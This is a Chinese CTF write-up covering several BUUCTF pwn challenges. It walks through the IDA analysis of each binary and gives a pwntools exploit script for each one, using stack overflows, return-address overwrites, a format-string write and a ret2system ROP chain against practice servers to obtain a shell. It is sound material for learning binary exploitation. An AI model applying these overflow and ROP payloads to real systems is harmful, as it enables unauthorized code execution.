buu-pwn-1

发布时间 2023-12-17 19:34:43作者: Icfh

rip

静态分析

将附件拖入IDA进行分析:

image-20231020171453225

F5可以反编译查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

这里有个很危险的gets函数

去找一下这个函数的介绍:https://learn.microsoft.com/zh-cn/cpp/c-runtime-library/gets-getws?view=msvc-170

gets函数对于输入的长度没有进行校验,直至碰到\0才停止从标准输入流中获取输入

后门函数利用

Shift+F12查看所有字符串,发现有后门

image-20231020172049800

fun中找到如下后门:

image-20231020172221877

查看需要多少偏移:

  • 双击s进入栈区查看

image-20231020172543438

  • 需要偏移23个字节,返回字段填后门地址

image-20231020172629400

EXP

堆栈平衡问题

二进制程序运行于服务端上的某个端口,然后我们send的数据属于远端标准输入的部分

from pwn import *

# connect remote
p = remote('node4.buuoj.cn', 25818)

# payload
payload = b'a'*23 + p64(0x401187)

# send data
p.sendline(payload)

# reverse shell
p.interactive()

image-20231020173023841

warmup_csaw_2016

后门函数都给你写好了

image-20231201002815141

思路就是利用栈溢出覆盖返回地址,然后跳到后门函数

image-20231201002840698

偏移为0x48

image-20231201002925435

exp如下

from pwn import *
# node4.buuoj.cn:28153
# 0x40060d
p = remote('node4.buuoj.cn',28153)

payload = b'a'*72 + p64(0x40060d)

p.sendline(payload)
p.interactive()

ciscn_2019_n_1

静态分析

checksec

image-20231201102318345

拖入IDA分析:

image-20231201102420362

在该局部变量中,gets存在栈溢出,当覆盖v2为特定的值时,可以执行后门函数

查看栈:

db:表示分配字节的伪指令

dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定

?: 只分配存储空间,不指定初值

dd:表示定义一个double字节

那么也就可以对应上述函数中的局部变量:

image-20231201103013610

计算偏移

由上述的分析可知,v1的基址与v2距离44,即在v1栈溢出后就是v2的内存区域

由此可以书写exp:

from pwn import *

# node4.buuoj.cn:25860
p = remote('node4.buuoj.cn', 25860)

# p64将int转byte
payload = b'a'*44 + p64(0x41348000)

p.sendline(payload)

p.interactive()

pwn1_sctf_2016

checksec:32位小端序

image-20231201104202482

静态分析

主要逻辑是进行了字符替换,然后在strcpy时产生了栈溢出,当覆盖返回地址题目中的后门函数时即可劫持eip即可改变程序执行流,然后获取flag

后门地址:

image-20231202000724252

溢出偏移:

image-20231202002240323

fgets能写入最大32字节,然后地址需要占据4字节大小。

需要溢出到64字节位置,这段栈区为垃圾填充数据,所以需要输入64 mod 3 = 21I,然后再填充一个字节,最后放上后门地址

EXP

from pwn import *

# node4.buuoj.cn:26086

p = remote('node4.buuoj.cn', 26086)

payload = b'I'*21 + b'a' + p32(0x8048F0D)
          
p.sendline(payload) 
          
p.interactive()

jarvisoj_level0

checksec

image-20231202104803447

静态分析

从标准输入里读取0x200个字节(256个)的数据,但是数组只有128大小,存在栈溢出

image-20231202105139679

查看栈,只需要溢出0x88字节,即可劫持rip

image-20231202105506232

然后再看有没有后门:

image-20231202105755956

EXP

from pwn import *

# node4.buuoj.cn:26426
p = remote('node4.buuoj.cn',26426)
payload = b'a'*136 + p64(0x400596)

p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

checksec

32位小端,且有canary

image-20231202111457411

静态分析

setvbuf用于设置缓冲模式,此处设置

int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

  • stream:指向 FILE 对象的指针,表示要设置缓冲区的文件流。

  • buffer:指向用于缓冲的数组的指针。可以为 NULL,表示由系统自动分配缓冲区。

  • mode:缓冲模式,可以取以下值之一:

    - `_IOFBF`:全缓冲(I/O 缓冲区大小由 `size` 指定)。
    
    • _IOLBF:行缓冲。

    • _IONBF:无缓冲。

  • size:缓冲区大小(以字节为单位),如果 buffer 参数不为 NULL,则该参数表示提供的缓冲区的大小。

image-20231205165913844

19行直接从标准输入读取字节流到buf中,大小为0x63u

在21行选择直接打印,存在格式化字符串漏洞,从而可以越界读

image-20231205165439026

然后看dword_804C044的位置了 ,bss段上...

解决方法

写:使用格式化字符串%{}$n

%10$n 是一个格式化字符串中的特殊构造,主要用于 C 语言的 printf 或类似的格式化输出函数。这部分格式字符串的含义是将到目前为止已经输出的字符数(几个字节)写入到参数列表中的第10个整数变量中。

从而对bss段进行任意写

参考

  1. https://bbs.kanxue.com/thread-253638.htm

  2. https://imlonghao.com/55.html

jarvisoj_level2

checksec:开启了NX(不可执行栈)

image-20231209153051832

NX补充:

程序运行时,将数据所在内存页标记为不可执行的。

image-20231209154006702

静态分析

一眼栈溢出

image-20231209160540296

hint变量在.data

image-20231209160600384

倘如能用system执行/bin/sh,那么不就getshell了吗

ROP初探

ROP,返回导向编程。在能够劫持eip下,不断改变eip将程序中的gadgets给串起来,然后达到攻击效果

此处栈上的shellcode是不可执行的,但是可以跳到其他段上执行

image-20231209181946904

关于ret和call的一点点区别

ret

如果想用ret完成类似于函数调用的过程,需要自己补充栈上的参数。

(即下一个eip以及参数)

image-20231209171553944

call

call类指令会自动完成上述过程

参数是提前写入栈或寄存器的,在call时,压入call下一条地址,然后进入函数体执行。

EXP

那么在该题中,由于存在栈溢出,可以覆盖ret地址到system,然后调用bin/sh

from pwn import *

context(log_level='debug', os='linux', arch='i386')

#p = process("./level2")
p = remote('node4.buuoj.cn',27104)

# 利用ret需要自己填充
payload = b'a'*(0x88+4)+p32(0x8048320)+p32(0)+p32(0x0804A024)

p.recvuntil('Input:')
p.sendline(payload)
p.interactive()                

参考

https://www.cnblogs.com/xshhc/p/16939678.html

ciscn_2019_n_8

好像是道正常的代码审计题,也没溢出什么的

解引用&var[13],判断是否有东西

然后等于8字节的17时即可getshell

15长的双字数组

image-20231209194135177

image-20231209194018972

exp如下:

from pwn import *

context(log_level='debug', os='linux', arch='i386')


# node4.buuoj.cn:27520
#p = process('./ciscn_2019_n_8')
p = remote('node4.buuoj.cn', 27520)



payload = b'bbbb'*13+p64(17)

p.recvuntil('name?')
p.sendline(payload)
p.interactive()

bjdctf_2020_babystack

栈溢出,不多解释了

from pwn import *


context(log_level='debug', os='linux', arch='amd64')


#p = process('bjdctf_2020_babystack')
p = remote('node4.buuoj.cn', 29416)

length = b'100'
shAddr = 0x4006E6
payload = b'a'*(0x10+8)+ p64(shAddr)+b'\x00'

p.recvuntil('name:') 
p.sendline(length)
p.recvuntil('name?')
p.sendline(payload) 
p.interactive()